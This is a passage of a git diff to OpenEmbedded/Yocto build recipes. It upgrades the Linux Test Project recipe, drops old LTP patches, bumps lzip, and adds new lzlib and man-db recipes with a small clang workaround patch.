-+++ b/testcases/kernel/syscalls/ptrace/ptrace01.c
-@@ -86,7 +86,7 @@ static void run(unsigned int i)
-
- got_signal = 0;
-
-- tst_res(TINFO, tc->message);
-+ tst_res(TINFO, "%s", tc->message);
-
- if (tc->handler == 1) {
- parent_act.sa_handler = parent_handler;
---
-2.26.2
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch b/meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch
new file mode 100644
index 0000000000..4a50d1ae38
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch
@@ -0,0 +1,34 @@
+From 14c710cae38aa96bd8d681e891b6a1d691f99988 Mon Sep 17 00:00:00 2001
+From: Xiangyu Chen <xiangyu.chen@windriver.com>
+Date: Thu, 14 Mar 2024 09:47:10 +0800
+Subject: [PATCH] scenario_groups/default: remove connectors
+
+runtest/connectors was removed in 9b642d89c, thus update scenario_groups/default.
+
+Fixes: 9b642d89c ("runtest: Merge runtest/connectors to kernel_misc")
+Closes: https://github.com/linux-test-project/ltp/pull/1144
+
+Upstream-Status: Backport from
+[https://github.com/linux-test-project/ltp/commit/14c710ca]
+
+Reviewed-by: Petr Vorel <pvorel@suse.cz>
+Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
+---
+ scenario_groups/default | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/scenario_groups/default b/scenario_groups/default
+index f17b2061a..ec77d8fb8 100644
+--- a/scenario_groups/default
++++ b/scenario_groups/default
+@@ -16,7 +16,6 @@ controllers
+ filecaps
+ cap_bounds
+ fcntl-locktests
+-connectors
+ power_management_tests
+ hugetlb
+ commands
+--
+2.34.1
+
diff --git a/meta/recipes-extended/ltp/ltp/0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch b/meta/recipes-extended/ltp/ltp/0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch
deleted file mode 100644
index 17d5af89e2..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch
+++ /dev/null
@@ -1,69 +0,0 @@
-From e0a63deb1857eb90288e90d6368df70cdd0c0ec9 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 28 May 2020 13:04:33 -0700
-Subject: [PATCH] sigwaitinfo: Do not run invalid/undefined test cases
-
-These testcases run for eternity on musl
-
-test_bad_address* cases are passing invalid pointers to a function; that's always UB
-empty_set and timeout rely on the implementation-defined "may fail" for EINTR in sigtimedwait [1]
-
-normally "may fail" is an "unspecified" but here the impl
-is supposed to document it so it's "impl-defined"
-
-[1] https://pubs.opengroup.org/onlinepubs/9699919799/functions/sigtimedwait.html
-
-Upstream-Status: Submitted [https://patchwork.ozlabs.org/project/ltp/patch/20200528204556.2444156-1-raj.khem@gmail.com/]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Cc: Rich Felker <dalias@aerifal.cx>
----
- .../kernel/syscalls/sigwaitinfo/sigwaitinfo01.c | 12 ++----------
- 1 file changed, 2 insertions(+), 10 deletions(-)
-
---- a/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c
-+++ b/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c
-@@ -422,15 +422,10 @@ struct test_desc {
- } tests[] = {
- #ifdef TEST_RT_SIGTIMEDWAIT
- {
-- test_empty_set, my_rt_sigtimedwait, SIGUSR1}, {
- test_unmasked_matching, my_rt_sigtimedwait, SIGUSR1}, {
- test_masked_matching, my_rt_sigtimedwait, SIGUSR1}, {
- test_unmasked_matching_noinfo, my_rt_sigtimedwait, SIGUSR1}, {
-- test_masked_matching_noinfo, my_rt_sigtimedwait, SIGUSR1}, {
-- test_bad_address, my_rt_sigtimedwait, SIGUSR1}, {
-- test_bad_address2, my_rt_sigtimedwait, SIGUSR1}, {
-- test_bad_address3, my_rt_sigtimedwait, SIGUSR1}, {
-- test_timeout, my_rt_sigtimedwait, 0},
-+ test_masked_matching_noinfo, my_rt_sigtimedwait, SIGUSR1},
- /* Special cases */
- /* 1: sigwaitinfo does respond to ignored signal */
- {
-@@ -452,25 +447,17 @@ struct test_desc {
- #endif
- #if defined TEST_SIGWAITINFO
- {
-- test_empty_set, my_sigwaitinfo, SIGUSR1}, {
- test_unmasked_matching, my_sigwaitinfo, SIGUSR1}, {
- test_masked_matching, my_sigwaitinfo, SIGUSR1}, {
- test_unmasked_matching_noinfo, my_sigwaitinfo, SIGUSR1}, {
-- test_masked_matching_noinfo, my_sigwaitinfo, SIGUSR1}, {
-- test_bad_address, my_sigwaitinfo, SIGUSR1}, {
-- test_bad_address2, my_sigwaitinfo, SIGUSR1},
-+ test_masked_matching_noinfo, my_sigwaitinfo, SIGUSR1},
- #endif
- #if defined TEST_SIGTIMEDWAIT
- {
-- test_empty_set, my_sigtimedwait, SIGUSR1}, {
- test_unmasked_matching, my_sigtimedwait, SIGUSR1}, {
- test_masked_matching, my_sigtimedwait, SIGUSR1}, {
- test_unmasked_matching_noinfo, my_sigtimedwait, SIGUSR1}, {
-- test_masked_matching_noinfo, my_sigtimedwait, SIGUSR1}, {
-- test_bad_address, my_sigtimedwait, SIGUSR1}, {
-- test_bad_address2, my_sigtimedwait, SIGUSR1}, {
-- test_bad_address3, my_sigtimedwait, SIGUSR1}, {
-- test_timeout, my_sigtimedwait, 0},
-+ test_masked_matching_noinfo, my_sigtimedwait, SIGUSR1},
- #endif
- };
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch b/meta/recipes-extended/ltp/ltp/0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch
deleted file mode 100644
index 09b6f54874..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From 99687ab002f9f750f6f18fa1d70a91f0aa4f8ba2 Mon Sep 17 00:00:00 2001
-From: He Zhe <zhe.he@windriver.com>
-Date: Thu, 18 Jun 2020 17:18:27 +0800
-Subject: [PATCH] syscalls/copy_file_range02: Expect EFBIG in subcase max
- length on 32-bit architectures
-
-For syscall
-ssize_t copy_file_range(int fd_in, loff_t *off_in,
- int fd_out, loff_t *off_out,
- size_t len, unsigned int flags);
-off_out is loff_t* that is long long, 64 bits on 32-bit architectures,
-while len is size_t that unsigned int, 32 bits on 32-bit architectures.
-
-In subcase "max length", simplified as below,
-
-dst = tst_max_lfs_filesize();
-TEST(sys_copy_file_range(fd_src, 0, *tc->copy_to_fd, &dst, tc->len, tc->flags));
-
-where dst is 4K*4G and len is 4G, so (4K+1)*4G is always smaller than 4G*4G,
-it can never match the following kernel condition on 32-bit architectures.
-
-if (pos_in + count < pos_in || pos_out + count < pos_out)
- return -EOVERFLOW;
-
-And thus we would get error like
-copy_file_range02.c:139: FAIL: copy_file_range failed unexpectedly; expected EOVERFLOW, but got: EFBIG (27)
-
-Also correct a typo.
-
-Upstream-Status: Backport [http://lists.linux.it/pipermail/ltp/2020-June/017716.html]
-
-Signed-off-by: He Zhe <zhe.he@windriver.com>
-Acked-by: Li Wang <liwang@redhat.com>
----
- .../kernel/syscalls/copy_file_range/copy_file_range02.c | 6 +++++-
- 1 file changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c b/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c
-index fa679c4d3..bc27fbe57 100644
---- a/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c
-+++ b/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c
-@@ -78,7 +78,11 @@ static struct tcase {
- {&fd_chrdev, 0, EINVAL, CONTSIZE, "char device", 0},
- {&fd_fifo, 0, EINVAL, CONTSIZE, "fifo", 0},
- {&fd_pipe[0], 0, EINVAL, CONTSIZE, "pipe", 0},
-- {&fd_copy, 0, EOVERFLOW, ULLONG_MAX, "max length lenght", 1},
-+#ifdef TST_ABI64
-+ {&fd_copy, 0, EOVERFLOW, ULLONG_MAX, "max length", 1},
-+#else
-+ {&fd_copy, 0, EFBIG, ULLONG_MAX, "max length", 1},
-+#endif
- {&fd_copy, 0, EFBIG, MIN_OFF, "max file size", 1},
- };
-
---
-2.17.1
-
diff --git a/meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch b/meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch
deleted file mode 100644
index e93886c9cd..0000000000
--- a/meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From d0fc9ca5d3366f9b8907e463222403cd2327be10 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 8 Jan 2016 06:51:20 +0000
-Subject: [PATCH] guard mallocopt() with __GLIBC__
-
-mallocopt is not available on non glibc implementations
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Reviewed-by: Petr Vorel <petr.vorel@gmail.com>
-[ Upstream-Status: accepted in 967612c454aea66770b64f69287671037fe895b3 ]
----
- utils/benchmark/ebizzy-0.3/ebizzy.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/utils/benchmark/ebizzy-0.3/ebizzy.c b/utils/benchmark/ebizzy-0.3/ebizzy.c
-index 5bb8eff..934d951 100644
---- a/utils/benchmark/ebizzy-0.3/ebizzy.c
-+++ b/utils/benchmark/ebizzy-0.3/ebizzy.c
-@@ -215,10 +215,10 @@ static void read_options(int argc, char *argv[])
- "\"never mmap\" option specified\n");
- usage();
- }
--
-+#ifdef __GLIBC__
- if (never_mmap)
- mallopt(M_MMAP_MAX, 0);
--
-+#endif
- if (chunk_size < record_size) {
- fprintf(stderr, "Chunk size %u smaller than record size %u\n",
- chunk_size, record_size);
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch b/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch
deleted file mode 100644
index 0e7264574f..0000000000
--- a/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From f4fafbdffae3a63c81f65cef98c72dda26283e06 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Wed, 8 Feb 2017 16:17:17 +0800
-Subject: [PATCH] Fix test_proc_kill hanging
-
-Sometimes the signal is delivered to memcg_process before the framework took
-into consideration its pid entered in the tasks. Fixed by delaying the signal
-send command.
-
-Upstream-Status: Pending
-
-Signed-off-by: George Nita <george.nita@enea.com>
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- testcases/kernel/controllers/memcg/functional/memcg_lib.sh | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-index aadaae4..deea5d6 100755
---- a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-+++ b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-@@ -291,6 +291,7 @@ test_proc_kill()
- pid=$!
- TST_CHECKPOINT_WAIT 0
- echo $pid > tasks
-+ sleep 1
-
- signal_memcg_process $pid $3
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp_20200515.bb b/meta/recipes-extended/ltp/ltp_20240129.bb
index 0c7044d044..3e896957d1 100644
--- a/meta/recipes-extended/ltp/ltp_20200515.bb
+++ b/meta/recipes-extended/ltp/ltp_20240129.bb
@@ -2,48 +2,53 @@ SUMMARY = "Linux Test Project"
DESCRIPTION = "The Linux Test Project is a joint project with SGI, IBM, OSDL, and Bull with a goal to deliver test suites to the open source community that validate the reliability, robustness, and stability of Linux. The Linux Test Project is a collection of tools for testing the Linux kernel and related features."
HOMEPAGE = "https://linux-test-project.github.io/"
SECTION = "console/utils"
-LICENSE = "GPLv2 & GPLv2+ & LGPLv2+ & LGPLv2.1+ & BSD-2-Clause"
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later & LGPL-2.0-or-later & LGPL-2.1-or-later & BSD-2-Clause"
LIC_FILES_CHKSUM = "\
file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://testcases/kernel/controllers/freezer/COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
- file://testcases/kernel/controllers/freezer/run_freezer.sh;beginline=5;endline=17;md5=86a61d2c042d59836ffb353a21456498 \
- file://testcases/kernel/hotplug/memory_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \
- file://testcases/kernel/hotplug/cpu_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \
file://testcases/open_posix_testsuite/COPYING;md5=48b1c5ec633e3e30ec2cf884ae699947 \
- file://testcases/realtime/COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
- file://utils/benchmark/kernbench-0.42/COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://testcases/network/can/filter-tests/COPYING;md5=5b155ea7d7f86eae8e8832955d8b70bc \
"
DEPENDS = "attr libaio libcap acl openssl zip-native"
-DEPENDS_append_libc-musl = " fts "
-EXTRA_OEMAKE_append_libc-musl = " LIBC=musl "
-EXTRA_OECONF_append_libc-musl = " LIBS=-lfts "
+DEPENDS:append:libc-musl = " fts "
+EXTRA_OEMAKE:append:libc-musl = " LIBC=musl "
+EXTRA_OECONF:append:libc-musl = " LIBS=-lfts "
# since ltp contains x86-64 assembler which uses the frame-pointer register,
# set -fomit-frame-pointer x86-64 to handle cases where optimisation
# is set to -O0 or frame pointers have been enabled by -fno-omit-frame-pointer
# earlier in CFLAGS, etc.
-CFLAGS_append_x86-64 = " -fomit-frame-pointer"
-
-CFLAGS_append_powerpc64 = " -D__SANE_USERSPACE_TYPES__"
-CFLAGS_append_mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
-SRCREV = "0d79a93e6ca44d9bc95973faea6bcd7b0c6d1f43"
-
-SRC_URI = "git://github.com/linux-test-project/ltp.git \
- file://0001-build-Add-option-to-select-libc-implementation.patch \
- file://0004-guard-mallocopt-with-__GLIBC__.patch \
- file://0007-Fix-test_proc_kill-hanging.patch \
- file://0001-Add-more-musl-exclusions.patch \
- file://0001-ptrace01-Fix-missing-format-string.patch \
- file://0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch \
- file://0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch \
+CFLAGS:append:x86-64 = " -fomit-frame-pointer"
+TUNE_CCARGS:remove:x86 = "-mfpmath=sse"
+TUNE_CCARGS:remove:x86-64 = "-mfpmath=sse"
+
+CFLAGS:append:powerpc64 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
+SRCREV = "68737d20556d37364c95776044b1119c0912a36a"
+
+SRC_URI = "git://github.com/linux-test-project/ltp.git;branch=master;protocol=https \
file://0001-Remove-OOM-tests-from-runtest-mm.patch \
+ file://0001-scenario_groups-default-remove-connectors.patch \
"
S = "${WORKDIR}/git"
inherit autotools-brokensep pkgconfig
+# Version 20220527 added KVM test infrastructure which currently fails to build with gold due to
+# SORT_NONE in linker script which isn't supported by gold:
+# https://sourceware.org/bugzilla/show_bug.cgi?id=18097
+# https://github.com/linux-test-project/ltp/commit/3fce2064b54843218d085aae326c8f7ecf3a8c41#diff-39268f0855c634ca48c8993fcd2c95b12a65b79e8d9fa5ccd6b0f5a8785c0dd6R36
+LDFLAGS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd', '', d)}"
+LDFLAGS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-lld', ' -fuse-ld=bfd', '', d)}"
+
+# After 0002-kvm-use-LD-instead-of-hardcoding-ld.patch
+# https://github.com/linux-test-project/ltp/commit/f94e0ef3b7280f886384703ef9019aaf2f2dfebb
+# it fails with gold also a bit later when trying to use *-payload.bin
+# http://errors.yoctoproject.org/Errors/Details/663094/
+# work around this by forcing .bfd linked in LD when ld-is-gold is in DISTRO_FEATURES
+KVM_LD = "${@bb.utils.contains_any('DISTRO_FEATURES', 'ld-is-gold ld-is-lld', '${HOST_PREFIX}ld.bfd${TOOLCHAIN_OPTIONS} ${HOST_LD_ARCH}', '${LD}', d)}"
+
TARGET_CC_ARCH += "${LDFLAGS}"
export prefix = "/opt/${PN}"
@@ -55,9 +60,13 @@ EXTRA_OECONF = " --with-realtime-testsuite --with-open-posix-testsuite "
# ltp network/rpc test cases ftbfs when libtirpc is found
EXTRA_OECONF += " --without-tirpc "
+do_compile() {
+ oe_runmake HOSTCC="${CC_FOR_BUILD}" HOST_CFLAGS="${CFLAGS_FOR_BUILD}" HOST_LDFLAGS="${LDFLAGS_FOR_BUILD}" KVM_LD="${KVM_LD}"
+}
+
do_install(){
install -d ${D}${prefix}/
- oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install
+ oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install include-install
# fixup not deploy STPfailure_report.pl to avoid confusing about it fails to run
# as it lacks dependency on some perl moudle such as LWP::Simple
@@ -67,21 +76,12 @@ do_install(){
# OSDL's Scaleable Test Platform, but now http://khack.osdl.org unaccessible
rm -rf ${D}${prefix}/bin/STPfailure_report.pl
- # Copy POSIX test suite into ${D}${prefix}/testcases by manual
- cp -r testcases/open_posix_testsuite ${D}${prefix}/testcases
-
- # Makefile were configured in the build system
- find ${D}${prefix} -name Makefile | xargs -n 1 sed -i \
- -e 's@[^ ]*-fdebug-prefix-map=[^ "]*@@g' \
- -e 's@[^ ]*-fmacro-prefix-map=[^ "]*@@g' \
- -e 's@[^ ]*--sysroot=[^ "]*@@g'
-
# The controllers memcg_stree test seems to cause us hangs and takes 900s
# (maybe we expect more regular output?), anyhow, skip it
sed -e '/^memcg_stress/d' -i ${D}${prefix}/runtest/controllers
}
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
attr \
bash \
bc \
@@ -93,6 +93,7 @@ RDEPENDS_${PN} = "\
e2fsprogs-mke2fs \
expect \
file \
+ findutils \
gawk \
gdb \
gzip \
@@ -111,14 +112,33 @@ RDEPENDS_${PN} = "\
tar \
"
-FILES_${PN} += "${prefix}/* ${prefix}/runtest/* ${prefix}/scenario_groups/* ${prefix}/testcases/bin/* ${prefix}/testcases/bin/*/bin/* ${prefix}/testscripts/* ${prefix}/testcases/open_posix_testsuite/* ${prefix}/testcases/open_posix_testsuite/conformance/* ${prefix}/testcases/open_posix_testsuite/Documentation/* ${prefix}/testcases/open_posix_testsuite/functional/* ${prefix}/testcases/open_posix_testsuite/include/* ${prefix}/testcases/open_posix_testsuite/scripts/* ${prefix}/testcases/open_posix_testsuite/stress/* ${prefix}/testcases/open_posix_testsuite/tools/* ${prefix}/testcases/data/nm01/lib.a ${prefix}/lib/libmem.a"
+RRECOMMENDS:${PN} += "kernel-module-loop"
+
+FILES:${PN} += "${prefix}/* ${prefix}/runtest/* ${prefix}/scenario_groups/* ${prefix}/testcases/bin/* ${prefix}/testcases/bin/*/bin/* ${prefix}/testscripts/* ${prefix}/testcases/open_posix_testsuite/* ${prefix}/testcases/open_posix_testsuite/conformance/* ${prefix}/testcases/open_posix_testsuite/Documentation/* ${prefix}/testcases/open_posix_testsuite/functional/* ${prefix}/testcases/open_posix_testsuite/include/* ${prefix}/testcases/open_posix_testsuite/scripts/* ${prefix}/testcases/open_posix_testsuite/stress/* ${prefix}/testcases/open_posix_testsuite/tools/* ${prefix}/testcases/data/nm01/lib.a ${prefix}/lib/libmem.a"
# Avoid stripping some generated binaries otherwise some of the ltp tests such as ldd01 & nm01 fail
INHIBIT_PACKAGE_STRIP_FILES = "${prefix}/testcases/bin/nm01 ${prefix}/testcases/bin/ldd01"
-INSANE_SKIP_${PN} += "already-stripped staticdev"
+INSANE_SKIP:${PN} += "already-stripped staticdev"
+
+remove_broken_musl_sources() {
+ [ "${TCLIBC}" = "musl" ] || return 0
+
+ cd ${S}
+ echo "WARNING: remove unsupported tests (until they're fixed)"
+
+ # sync with upstream
+ # https://github.com/linux-test-project/ltp/blob/master/ci/alpine.sh#L33
+ rm -rfv \
+ testcases/kernel/syscalls/fmtmsg/fmtmsg01.c \
+ testcases/kernel/syscalls/getcontext/getcontext01.c \
+ testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c \
+ testcases/kernel/syscalls/timer_create/timer_create01.c \
+ testcases/kernel/syscalls/timer_create/timer_create03.c
+}
+do_patch[postfuncs] += "remove_broken_musl_sources"
# Avoid file dependency scans, as LTP checks for things that may or may not
# exist on the running system. For instance it has specific checks for
# csh and ksh which are not typically part of OpenEmbedded systems (but
# can be added via additional layers.)
-SKIP_FILEDEPS_${PN} = '1'
+SKIP_FILEDEPS:${PN} = '1'
diff --git a/meta/recipes-extended/lzip/lzip_1.21.bb b/meta/recipes-extended/lzip/lzip_1.24.1.bb
index bb3d2a6fe3..6eda012734 100644
--- a/meta/recipes-extended/lzip/lzip_1.21.bb
+++ b/meta/recipes-extended/lzip/lzip_1.24.1.bb
@@ -1,13 +1,14 @@
SUMMARY = "Lossless data compressor based on the LZMA algorithm"
HOMEPAGE = "http://lzip.nongnu.org/lzip.html"
+DESCRIPTION = "Lzip is a lossless data compressor with a user interface similar to the one of gzip or bzip2. Lzip uses a simplified form of the Lempel-Ziv-Markov chain-Algorithm (LZMA) stream format, chosen to maximize safety and interoperability."
SECTION = "console/utils"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
- file://decoder.cc;beginline=3;endline=16;md5=db09fe3f9573f94d0076f7f07959e6e1"
+ file://decoder.cc;beginline=3;endline=16;md5=18c279060cd0be128188404b45837f88 \
+ "
SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzip-${PV}.tar.gz"
-SRC_URI[md5sum] = "c0061730d017ea593a09308edc547128"
-SRC_URI[sha256sum] = "e48b5039d3164d670791f9c5dbaa832bf2df080cb1fbb4f33aa7b3300b670d8b"
+SRC_URI[sha256sum] = "30c9cb6a0605f479c496c376eb629a48b0a1696d167e3c1e090c5defa481b162"
B = "${WORKDIR}/build"
do_configure[cleandirs] = "${B}"
diff --git a/meta/recipes-extended/lzip/lzlib_1.14.bb b/meta/recipes-extended/lzip/lzlib_1.14.bb
new file mode 100644
index 0000000000..a6010bbf27
--- /dev/null
+++ b/meta/recipes-extended/lzip/lzlib_1.14.bb
@@ -0,0 +1,39 @@
+SUMMARY = "Data compression library providing in-memory LZMA compression and decompression functions"
+HOMEPAGE = "https://www.nongnu.org/lzip/lzlib.html"
+DESCRIPTION = "Lzlib is a data compression library providing in-memory LZMA compression and decompression functions, including integrity checking of the decompressed data. The compressed data format used by the library is the lzip format. Lzlib is written in C. "
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=04d943636aa1482e0a97d924d9f4f68f \
+ "
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzlib/lzlib-${PV}.tar.gz"
+SRC_URI[sha256sum] = "5acac8714ed4f306020bae660dddce706e5f8a795863679037da9fe6bf4dcf6f"
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
+
+CONFIGUREOPTS = "\
+ '--srcdir=${S}' \
+ '--prefix=${prefix}' \
+ '--exec-prefix=${exec_prefix}' \
+ '--bindir=${bindir}' \
+ '--datadir=${datadir}' \
+ '--infodir=${infodir}' \
+ '--libdir=${libdir}' \
+ '--sysconfdir=${sysconfdir}' \
+ '--enable-shared' \
+ '--disable-static' \
+ 'CC=${CC}' \
+ 'CPPFLAGS=${CPPFLAGS}' \
+ 'CXXFLAGS=${CXXFLAGS}' \
+ 'LDFLAGS=${LDFLAGS}' \
+"
+
+do_configure () {
+ ${S}/configure ${CONFIGUREOPTS}
+}
+
+do_install () {
+ oe_runmake 'DESTDIR=${D}' install
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch b/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch
new file mode 100644
index 0000000000..57ecd48b1f
--- /dev/null
+++ b/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch
@@ -0,0 +1,38 @@
+From e4125223631f0d555fc327da6d8705bcc8ee5ba5 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 9 Feb 2022 17:30:16 -0800
+Subject: [PATCH] man: Move local variable declaration to function scope
+
+There is a clang bug [1] unearthed here, so help clang by re-arranging
+code without changing the logic, until its fixed in clang
+
+[1] https://github.com/llvm/llvm-project/issues/53692
+
+Upstream-Status: Inappropriate [Inappropriate: Clang bug]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/man.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/man.c b/src/man.c
+index 195d35d..6870989 100644
+--- a/src/man.c
++++ b/src/man.c
+@@ -379,7 +379,7 @@ static void init_html_pager (void)
+ static error_t parse_opt (int key, char *arg, struct argp_state *state)
+ {
+ static bool apropos, whatis; /* retain values between calls */
+-
++ char *s;
+ /* Please keep these keys in the same order as in options above. */
+ switch (key) {
+ case 'C':
+@@ -411,7 +411,7 @@ static error_t parse_opt (int key, char *arg, struct argp_state *state)
+ case OPT_WARNINGS:
+ #ifdef NROFF_WARNINGS
+ {
+- char *s = xstrdup
++ s = xstrdup
+ (arg ? arg : default_roff_warnings);
+ const char *warning;
+
diff --git a/meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch b/meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch
deleted file mode 100644
index 03273d3b49..0000000000
--- a/meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch
+++ /dev/null
@@ -1,16 +0,0 @@
-The first line of man_db.conf will be replaced by package name. And it causes
-multilib install file conflict. Remove the line to avoid the issue.
-
-Upstream-Status: Pending
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-diff --git a/src/man_db.conf.in b/src/man_db.conf.in
-index bc8bb7e..04cfb31 100644
---- a/src/man_db.conf.in
-+++ b/src/man_db.conf.in
-@@ -1,4 +1,3 @@
--# @config_file_basename@
- #
- # This file is used by the man-db package to configure the man and cat paths.
- # It is also used to provide a manpath for those without one by examining
diff --git a/meta/recipes-extended/man-db/man-db_2.12.1.bb b/meta/recipes-extended/man-db/man-db_2.12.1.bb
new file mode 100644
index 0000000000..27b47a7f47
--- /dev/null
+++ b/meta/recipes-extended/man-db/man-db_2.12.1.bb
@@ -0,0 +1,72 @@
+SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command"
+HOMEPAGE = "http://man-db.nongnu.org/"
+DESCRIPTION = "man-db is an implementation of the standard Unix documentation system accessed using the man command. It uses a Berkeley DB database in place of the traditional flat-text whatis databases."
+LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later & GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://docs/COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://docs/COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
+ "
+
+SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \
+ file://99_mandb \
+ file://0001-man-Move-local-variable-declaration-to-function-scop.patch \
+ "
+SRC_URI[sha256sum] = "ddee249daeb78cf92bab794ccd069cc8b575992265ea20e239e887156e880265"
+
+DEPENDS = "libpipeline gdbm groff-native base-passwd"
+RDEPENDS:${PN} += "base-passwd"
+PACKAGE_WRITE_DEPS += "base-passwd"
+
+# | /usr/src/debug/man-db/2.8.0-r0/man-db-2.8.0/src/whatis.c:939: undefined reference to `_nl_msg_cat_cntr'
+USE_NLS:libc-musl = "no"
+
+inherit gettext pkgconfig autotools systemd
+
+EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_system_unitdir}"
+EXTRA_AUTORECONF += "-I ${S}/gl/m4"
+
+PACKAGECONFIG[bzip2] = "--with-bzip2=bzip2,ac_cv_prog_have_bzip2='',bzip2"
+PACKAGECONFIG[gzip] = "--with-gzip=gzip,ac_cv_prog_have_gzip='',gzip"
+PACKAGECONFIG[lzip] = "--with-lzip=lzip,ac_cv_prog_have_lzip='',lzip"
+PACKAGECONFIG[lzma] = "--with-lzma=lzma,ac_cv_prog_have_lzma='',xz"
+PACKAGECONFIG[zstd] = "--with-zstd=zstd,ac_cv_prog_have_zstd='',zstd"
+PACKAGECONFIG[xz] = "--with-xz=xz,ac_cv_prog_have_xz='',xz"
+
+do_install() {
+ autotools_do_install
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -d ${D}/etc/default/volatiles
+ install -m 0644 ${WORKDIR}/99_mandb ${D}/etc/default/volatiles
+ fi
+}
+
+do_install:append:libc-musl() {
+ rm -f ${D}${libdir}/charset.alias
+}
+
+FILES:${PN} += "${prefix}/lib/tmpfiles.d"
+
